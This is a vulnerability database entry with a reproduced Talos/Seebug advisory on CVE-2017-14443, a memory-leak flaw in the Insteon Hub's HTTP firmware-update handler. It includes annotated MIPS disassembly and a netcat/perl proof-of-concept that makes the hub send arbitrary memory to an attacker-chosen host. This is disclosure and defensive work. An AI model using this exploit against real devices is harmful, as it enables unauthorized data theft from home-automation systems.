Vulnerabilities > CVE-2017-14443 - Information Exposure vulnerability in Insteon HUB 2245-222 Firmware 1012

047910
CVSS 6.5 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
NONE
Availability impact
NONE
network
low complexity
insteon
CWE-200

Summary

An exploitable information leak vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly checks the number of GET parameters supplied, leading to an arbitrarily controlled information leak on the whole device memory. An attacker can send an authenticated HTTP request to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Insteon
1
Hardware
Insteon
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Seebug

bulletinFamilyexploit
description### Summary An exploitable information leak vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly checks the number of GET parameters supplied, leading to an arbitrarily controlled information leak on the whole device memory. An attacker can send an authenticated HTTP request to trigger this vulnerability. ### Tested Versions Insteon Hub 2245-222 - Firmware version 1012 ### Product URLs http://www.insteon.com/insteon-hub ### CVSSv3 Score 9.6 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H ### CWE CWE-457: Use of Uninitialized Variable ### Details Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture. The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly. One of the default tasks defined by Microchip's "Libraries for Applications" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own. One of these is the HTTPExecuteGet function, which is called when a GET request is received. The HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN. ``` // Stores extended state data for each connection typedef struct { DWORD byteCount; // How many bytes have been read so far DWORD nextCallback; // Byte index of the next callback DWORD callbackID; // Callback ID to execute, also used as watchdog timer DWORD callbackPos; // Callback position indicator BYTE *ptrData; // Points to first free byte in data BYTE *ptrRead; // Points to current read location FILE_HANDLE file; // File pointer for the file being served FILE_HANDLE offsets; // File pointer for any offset info being used BYTE hasArgs; // True if there were get or cookie arguments BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass HTTP_STATUS httpStatus; // Request method/status HTTP_FILE_TYPE fileType; // File type to return with Content-Type BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer #if defined(HTTP_USE_POST) BYTE smPost; // POST state machine variable #endif } HTTP_CONN; extern HTTP_CONN curHTTP; ``` The developer implementing the HTTPExecuteGet function can thus access curHTTP to implement its logic. Note that HTTPExecuteGet is only reached if a valid basic-auth string is provided. ``` seg000:9D02C758 insteon_HTTPExecuteGet: seg000:9D02C758 seg000:9D02C758 filename= -0x98 seg000:9D02C758 req_pointers= -0x84 seg000:9D02C758 getparam_1= -0x80 seg000:9D02C758 getparam_2= -0x7C seg000:9D02C758 getparam_3= -0x78 seg000:9D02C758 getparam_4= -0x74 seg000:9D02C758 var_20 = -0x20 seg000:9D02C758 var_1C = -0x1C seg000:9D02C758 var_18 = -0x18 seg000:9D02C758 var_14 = -0x14 seg000:9D02C758 var_10 = -0x10 seg000:9D02C758 var_C = -0xC seg000:9D02C758 var_8 = -8 seg000:9D02C758 var_4 = -4 seg000:9D02C758 seg000:9D02C758 000 58 FF BD 27 addiu $sp, -0xA8 seg000:9D02C75C 0A8 A4 00 BF AF sw $ra, 0xA8+var_4($sp) seg000:9D02C760 0A8 A0 00 B6 AF sw $s6, 0xA8+var_8($sp) seg000:9D02C764 0A8 9C 00 B5 AF sw $s5, 0xA8+var_C($sp) seg000:9D02C768 0A8 98 00 B4 AF sw $s4, 0xA8+var_10($sp) seg000:9D02C76C 0A8 94 00 B3 AF sw $s3, 0xA8+var_14($sp) seg000:9D02C770 0A8 90 00 B2 AF sw $s2, 0xA8+var_18($sp) seg000:9D02C774 0A8 8C 00 B1 AF sw $s1, 0xA8+var_1C($sp) seg000:9D02C778 0A8 88 00 B0 AF sw $s0, 0xA8+var_20($sp) seg000:9D02C77C 0A8 83 0F 41 0F jal sub_9d043e0c # [1] seg000:9D02C780 0A8 24 00 A4 27 addiu $a0, $sp, 0xA8+req_pointers # [2] seg000:9D02C784 0A8 21 90 40 00 move $s2, $v0 # [3] seg000:9D02C788 0A8 10 00 A5 27 addiu $a1, $sp, 0xA8+filename seg000:9D02C78C 0A8 24 00 A5 AF sw $a1, 0xA8+req_pointers($sp) seg000:9D02C790 0A8 00 A0 10 3C+ li $s0, curHTTP seg000:9D02C798 0A8 18 00 04 92 lbu $a0, (curHTTP_file - 0xA0000CD8)($s0) seg000:9D02C79C 0A8 DE 7F 41 0F jal MPFSGetFilename seg000:9D02C7A0 0A8 14 00 06 24 li $a2, 0x14 seg000:9D02C7A4 0A8 18 00 03 92 lbu $v1, (curHTTP_file - 0xA0000CD8)($s0) seg000:9D02C7A8 0A8 FF 00 02 24 li $v0, 0xFF # [4] seg000:9D02C7AC 0A8 37 03 62 10 beq $v1, $v0, loc_9D02D48C seg000:9D02C7B0 0A8 FC 83 82 8F lw $v0, -0x7C04($gp) ``` The function calls sub_9d043e0c at [1] passing a local array of pointers ([2]): this function reads the GET parameters from curHTTP.data and inserts a pointer to each parameter into the array of pointers. It also returns the number of extracted parameters in $v0 ([3]). The requested path is then saved to filename by calling MPFSGetFilename and if the requested file doesn't exist in the MPFS (Microchip Proprietary File System), curHTTP.file will contain 0xff (MPFS_INVALID_HANDLE [4]). ``` seg000:9D02D48C loc_9D02D48C: seg000:9D02D48C 0A8 3C 84 80 A3 sb $zero, -0x7BC4($gp) seg000:9D02D490 seg000:9D02D490 loc_9D02D490: seg000:9D02D490 0A8 03 00 52 2E sltiu $s2, 3 # [5] seg000:9D02D494 0A8 E1 01 40 16 bnez $s2, loc_9D02DC1C seg000:9D02D498 0A8 21 18 00 00 move $v1, $zero seg000:9D02D49C 0A8 30 00 A2 8F lw $v0, 0xA8+getparam_3($sp) # [6] seg000:9D02D4A0 0A8 00 00 43 90 lbu $v1, 0($v0) # [6] seg000:9D02D4A4 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp) seg000:9D02D4A8 0A8 00 00 43 A0 sb $v1, 0($v0) seg000:9D02D4AC 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp) seg000:9D02D4B0 0A8 00 00 42 90 lbu $v0, 0($v0) seg000:9D02D4B4 0A8 D0 FF 42 24 addiu $v0, -0x30 # [6] seg000:9D02D4B8 0A8 FF 00 42 30 andi $v0, 0xFF seg000:9D02D4BC 0A8 0A 00 43 2C sltiu $v1, $v0, 0xA seg000:9D02D4C0 0A8 0B 00 60 50 beqzl $v1, loc_9D02D4F0 seg000:9D02D4C4 0A8 01 00 02 24 li $v0, 1 seg000:9D02D4C8 0A8 01 00 03 24 li $v1, 1 seg000:9D02D4CC 0A8 13 01 43 10 beq $v0, $v1, loc_9D02D91C # [6] seg000:9D02D4D0 0A8 28 00 B0 8F lw $s0, 0xA8+getparam_1($sp) # [7] ... seg000:9D02D91C loc_9D02D91C: seg000:9D02D91C 0A8 00 00 02 92 lbu $v0, 0($s0) # [7] seg000:9D02D920 0A8 73 00 03 24 li $v1, "s" seg000:9D02D924 0A8 30 00 43 10 beq $v0, $v1, loc_9D02D9E8 seg000:9D02D928 0A8 75 00 03 24 li $v1, "u" # [7] seg000:9D02D92C 0A8 05 00 43 10 beq $v0, $v1, loc_9D02D944 seg000:9D02D930 0A8 58 00 03 24 li $v1, "X" seg000:9D02D934 0A8 B9 00 43 14 bne $v0, $v1, loc_9D02DC1C seg000:9D02D938 0A8 21 18 00 00 move $v1, $zero seg000:9D02D93C 0A8 84 B6 40 0B j loc_9D02DA10 seg000:9D02D940 0A8 01 00 02 92 lbu $v0, 1($s0) seg000:9D02D944 seg000:9D02D944 loc_9D02D944: seg000:9D02D944 0A8 00 A0 04 3C+ la $a0, update_check_global_host # [8] seg000:9D02D94C 0A8 1F DF 41 0F jal strcpy seg000:9D02D950 0A8 2C 00 A5 8F lw $a1, 0xA8+getparam_2($sp) seg000:9D02D954 0A8 00 A0 04 3C+ la $a0, update_check_global_uri # [9] seg000:9D02D95C 0A8 1F DF 41 0F jal strcpy # [10] seg000:9D02D960 0A8 34 00 A5 8F lw $a1, 0xA8+getparam_4($sp) seg000:9D02D964 0A8 21 20 00 02 move $a0, $s0 seg000:9D02D968 0A8 07 9D 05 3C lui $a1, 0x9D07 seg000:9D02D96C 0A8 87 E7 41 0F jal strcmp seg000:9D02D970 0A8 E4 28 A5 24 la $a1, aUp_firm # "up_firm" seg000:9D02D974 0A8 07 00 40 14 bnez $v0, loc_9D02D994 ... ``` The function continues by checking a few constraints on the parameters. An interesting path exists with these conditions: * there are at least 3 parameters [5] * parameter 3 is "1" [6] * parameter 1 starts with "u" [7] After these checks, the function copies parameter 2 to the global variable at 0xa00016e0 (variable containing the update host [8]) and parameter 4 to the global variable at 0xa00016a0 (variable containing the update URL [9]). If parameter 1 is either equal to "upfirm", "upbin" or "up_PLM", the device will later perform an HTTP GET request using the global URL and host, in order to request a firmware update. As we can see, the strcpy at [10] is performed using parameter 4 as source, but this path needs at least 3 parameters to be reached. This leads to an exploitable uninitialized variable condition, that allows an attacker to easily extract any NULL-terminated string from the device memory and have it sent to the desired host via HTTP GET. ### Exploit Proof-of-Concept The following proof shows how to read arbitrary memory, in this example the string "600" will be read, which is at 0x9d061b30. ``` $ sMyIP=192.168.0.10 $ perl <<EOD | nc $INSTEON_IP 25105 print "GET /x?up_PLM&${sMyIP}&1& HTTP/1.0\r\n"; print "Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\r\n"; print "A"x68,"\x30\xb1\x06\x9d"; print "\r\n\r\n"; EOD `` After this request, the device will connect to $sMyIP on port 80 to request the URL pointed by the uninitialized variable, which now points to the injected value (0x9d061b30). ``` $ nc -l -p 80 GET 600 HTTP/1.0 Host: 192.168.0.10 Connection: close ``` As we can see the string "600" was leaked. ### Timeline * 2017-12-05 - Vendor Disclosure * 2018-01-18 - Vendor advised issues under evaluation * 2018-02-12 - 60 day follow up with vendor * 2018-03-09 - Vendor advised working on course of action * 2018-04-06 - Follow up with vendor on fix/timeline * 2018-04-12 - Vendor advised issues addressed for beta testing * 2018-06-19 - Public disclosure
idSSV:97363
last seen2018-06-26
modified2018-06-22
published2018-06-22
reporterMy Seebug
titleInsteon Hub HTTPExecuteGet Firmware Update Information Leak Vulnerability(CVE-2017-14443)

Talos

idTALOS-2017-0492
last seen2019-05-29
published2018-06-19
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0492
titleInsteon Hub HTTPExecuteGet Firmware Update Information Leak Vulnerability